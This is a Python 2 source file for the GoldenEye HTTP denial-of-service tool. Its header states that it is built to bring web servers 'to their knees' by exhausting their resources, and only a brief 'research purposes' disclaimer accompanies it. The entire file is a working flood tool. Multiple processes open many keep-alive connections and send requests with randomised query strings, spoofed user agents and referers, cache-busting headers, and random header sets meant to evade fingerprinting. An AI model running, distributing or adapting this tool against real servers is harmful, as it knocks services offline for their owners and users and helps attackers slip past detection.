#!/usr/local/bin/python3 #!/usr/bin/env python """ $Id: $ /$$$$$$ /$$ /$$ /$$$$$$$$ /$$__ $$ | $$ | $$ | $$_____/ | $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$ | $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$ | $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$ | $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/ | $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$ \______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/ /$$ | $$ | $$$$$$/ \______/ This tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them to their knees by exhausting the resource pool. This tool is meant for research purposes only and any malicious usage of this tool is prohibited. @author Jan Seidl @date 2013-03-26 @version 2.0 @TODO Test in python 3.x LICENSE: This software is distributed under the GNU General Public License version 3 (GPLv3) LEGAL NOTICE: THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS. """ from multiprocessing import Process, Manager import urlparse, ssl import sys, getopt, random, time # Python version-specific if sys.version_info < (3,0): # Python 2.x import httplib HTTPCLIENT = httplib else: # Python 3.x import http.client HTTPCLIENT = http.client #### # Config #### DEBUG = False #### # Constants #### METHOD_GET = 'get' METHOD_POST = 'post' METHOD_RAND = 'random' JOIN_TIMEOUT=1.0 DEFAULT_WORKERS=50 DEFAULT_SOCKETS=30 #### # GoldenEye Class #### class GoldenEye(object): # Counters counter = [0, 0] last_counter = [0, 0] # Containers workersQueue = [] manager = None # Properties url = None # Options nr_workers = DEFAULT_WORKERS nr_sockets = DEFAULT_SOCKETS method = METHOD_GET def __init__(self, url): # Set URL self.url = url # Initialize Manager self.manager = Manager() # Initialize Counters self.counter = self.manager.list((0, 0)) def exit(self): self.stats() print "Shutting down GoldenEye" def __del__(self): self.exit() def printHeader(self): # Taunt! print "GoldenEye firing!" # Do the fun! def fire(self): self.printHeader() print "Hitting webserver in mode {0} with {1} workers running {2} connections each".format(self.method, self.nr_workers, self.nr_sockets) if DEBUG: print "Starting {0} concurrent Laser workers".format(self.nr_workers) # Start workers for i in range(int(self.nr_workers)): try: worker = Laser(self.url, self.nr_sockets, self.counter) worker.method = self.method self.workersQueue.append(worker) worker.start() except (Exception): error("Failed to start worker {0}".format(i)) pass print "Initiating monitor" self.monitor() def stats(self): try: if self.counter[0] > 0 or self.counter[1] > 0: print "{0} GoldenEye punches deferred. ({1} Failed)".format(self.counter[0], self.counter[1]) if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]: print "\tServer may be DOWN!" self.last_counter[0] = self.counter[0] self.last_counter[1] = self.counter[1] except (Exception): pass # silently ignore def monitor(self): while len(self.workersQueue) > 0: try: for worker in self.workersQueue: if worker is not None and worker.is_alive(): worker.join(JOIN_TIMEOUT) else: self.workersQueue.remove(worker) self.stats() except (KeyboardInterrupt, SystemExit): print "CTRL+C received. Killing all workers" for worker in self.workersQueue: try: if DEBUG: print "Killing worker {0}".format(worker.name) #worker.terminate() worker.stop() except Exception, ex: pass # silently ignore if DEBUG: raise else: pass #### # Laser Class #### class Laser(Process): # Counters request_count = 0 failed_count = 0 # Containers url = None host = None port = 80 ssl = False referers = [] useragents = [] socks = [] counter = None nr_socks = DEFAULT_SOCKETS # Flags runnable = True # Options method = METHOD_GET def __init__(self, url, nr_sockets, counter): super(Laser, self).__init__() self.counter = counter self.nr_socks = nr_sockets parsedUrl = urlparse.urlparse(url) if parsedUrl.scheme == 'https': self.ssl = True self.host = parsedUrl.netloc.split(':')[0] self.url = parsedUrl.path self.port = parsedUrl.port if not self.port: self.port = 80 if not self.ssl else 443 self.referers = [ 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'http://' + self.host + '/' ] self.useragents = [ 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)', 'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51', ] def __del__(self): self.stop() #builds random ascii string def buildblock(self, size): out_str = '' _LOWERCASE = range(97, 122) _UPPERCASE = range(65, 90) _NUMERIC = range(48, 57) validChars = _LOWERCASE + _UPPERCASE + _NUMERIC for i in range(0, size): a = random.choice(validChars) out_str += chr(a) return out_str def run(self): if DEBUG: print "Starting worker {0}".format(self.name) while self.runnable: try: for i in range(self.nr_socks): if self.ssl: c = HTTPCLIENT.HTTPSConnection(self.host, self.port) else: c = HTTPCLIENT.HTTPConnection(self.host, self.port) self.socks.append(c) for conn_req in self.socks: (url, headers) = self.createPayload() method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method conn_req.request(method.upper(), url, None, headers) for conn_resp in self.socks: resp = conn_resp.getresponse() self.incCounter() self.closeConnections() except: self.incFailed() if DEBUG: raise else: pass # silently ignore if DEBUG: print "Worker {0} completed run. Sleeping...".format(self.name) def closeConnections(self): for conn in self.socks: try: conn.close() except: pass # silently ignore def createPayload(self): req_url, headers = self.generateData() random_keys = headers.keys() random.shuffle(random_keys) random_headers = {} for header_name in random_keys: random_headers[header_name] = headers[header_name] return (req_url, random_headers) def generateQueryString(self, ammount = 1): queryString = [] for i in range(ammount): key = self.buildblock(random.randint(3,10)) value = self.buildblock(random.randint(3,20)) element = "{0}={1}".format(key, value) queryString.append(element) return '&'.join(queryString) def generateData(self): returnCode = 0 param_joiner = "?" if len(self.url) == 0: self.url = '/' if self.url.count("?") > 0: param_joiner = "&" request_url = self.generateRequestUrl(param_joiner) http_headers = self.generateRandomHeaders() return (request_url, http_headers) def generateRequestUrl(self, param_joiner = '?'): return self.url + param_joiner + self.generateQueryString(random.randint(1,5)) def generateRandomHeaders(self): # Random no-cache entries noCacheDirectives = ['no-cache', 'must-revalidate'] random.shuffle(noCacheDirectives) noCache = ', '.join(noCacheDirectives) # Random accept encoding acceptEncoding = ['\'\'','*','identity','gzip','deflate'] random.shuffle(acceptEncoding) nrEncodings = random.randint(0,len(acceptEncoding)/2) roundEncodings = acceptEncoding[:nrEncodings] http_headers = { 'User-Agent': random.choice(self.useragents), 'Cache-Control': noCache, 'Accept-Encoding': ', '.join(roundEncodings), 'Connection': 'keep-alive', 'Keep-Alive': random.randint(110,120), 'Host': self.host, } # Randomly-added headers # These headers are optional and are # randomly sent thus making the # header count random and unfingerprintable if random.randrange(2) == 0: # Random accept-charset acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ] random.shuffle(acceptCharset) http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1)) if random.randrange(2) == 0: # Random Referer http_headers['Referer'] = random.choice(self.referers) + self.buildblock(random.randint(5,10)) if random.randrange(2) == 0: # Random Content-Trype http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded']) if random.randrange(2) == 0: # Random Cookie http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5)) return http_headers # Housekeeping def stop(self): self.runnable = False self.closeConnections() self.terminate() # Counter Functions def incCounter(self): try: self.counter[0] += 1 except (Exception): pass def incFailed(self): try: self.counter[1] += 1 except (Exception): pass #### #### # Other Functions #### def usage(): print print '-----------------------------------------------------------------------------------------------------------' print ' USAGE: ./goldeneye.py [OPTIONS]' print print ' OPTIONS:' print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault' print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS) print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS) print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)' print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)' print '\t -h, --help\t\tShows this help' print '-----------------------------------------------------------------------------------------------------------' def error(msg): # print help information and exit: sys.stderr.write(str(msg+"\n")) usage() sys.exit(2) #### # Main #### def main(): try: if len(sys.argv) < 2: error('Please supply at least the URL') url = sys.argv[1] if url == '-h': usage() sys.exit() if url[0:4].lower() != 'http': error("Invalid URL supplied") if url == None: error("No URL supplied") opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:", ["debug", "help", "workers", "sockets", "method" ]) workers = DEFAULT_WORKERS socks = DEFAULT_SOCKETS method = METHOD_GET for o, a in opts: if o in ("-h", "--help"): usage() sys.exit() elif o in ("-s", "--sockets"): socks = int(a) elif o in ("-w", "--workers"): workers = int(a) elif o in ("-d", "--debug"): global DEBUG DEBUG = True elif o in ("-m", "--method"): if a in (METHOD_GET, METHOD_POST, METHOD_RAND): method = a else: error("method {0} is invalid".format(a)) else: error("option '"+o+"' doesn't exists") goldeneye = GoldenEye(url) goldeneye.nr_workers = workers goldeneye.method = method goldeneye.nr_sockets = socks goldeneye.fire() except getopt.GetoptError, err: # print help information and exit: sys.stderr.write(str(err)) usage() sys.exit(2) if __name__ == "__main__": main()